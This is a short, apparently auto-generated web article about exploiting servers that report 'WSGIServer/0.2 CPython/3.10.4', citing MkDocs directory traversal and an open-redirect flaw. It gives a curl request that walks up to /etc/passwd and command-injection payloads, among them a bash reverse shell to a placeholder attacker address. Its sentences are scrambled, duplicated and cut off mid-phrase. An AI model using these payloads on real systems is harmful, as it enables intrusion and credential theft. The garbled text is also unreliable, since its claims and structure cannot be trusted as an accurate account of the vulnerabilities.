Wsgiserver 0.2 Cpython 3.10.4 Exploit Today

8000/tcp open http WSGIServer 0.2 (Python 3.10.4) Mitigation and Best Practices

curl http:// :8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 2. Open Redirection (CVE-2021-28861) wsgiserver 0.2 cpython 3.10.4 exploit

The primary reason these exploits succeed is the use of development servers in production settings. 8000/tcp open http WSGIServer 0

One of the most frequent exploits associated with WSGIServer/0.2 is a vulnerability found in the MkDocs built-in dev-server. Injecting ; whoami or ; bash -i >&

Injecting ; whoami or ; bash -i >& /dev/tcp/attacker_ip/port 0>&1 to gain a reverse shell. Identifying the Target

An application that takes a system command as a parameter (e.g., a "ping" tool) without validation can be forced to execute arbitrary bash commands.

When a web server returns the header Server: WSGIServer/0.2 CPython/3.10.4 , it reveals that the application is running on using a basic WSGI (Web Server Gateway Interface) server. In many cases, this specific version combination is associated with MkDocs 1.2.2 or older versions of Django used for local development. Key Vulnerabilities 1. Directory Traversal (CVE-2021-40978)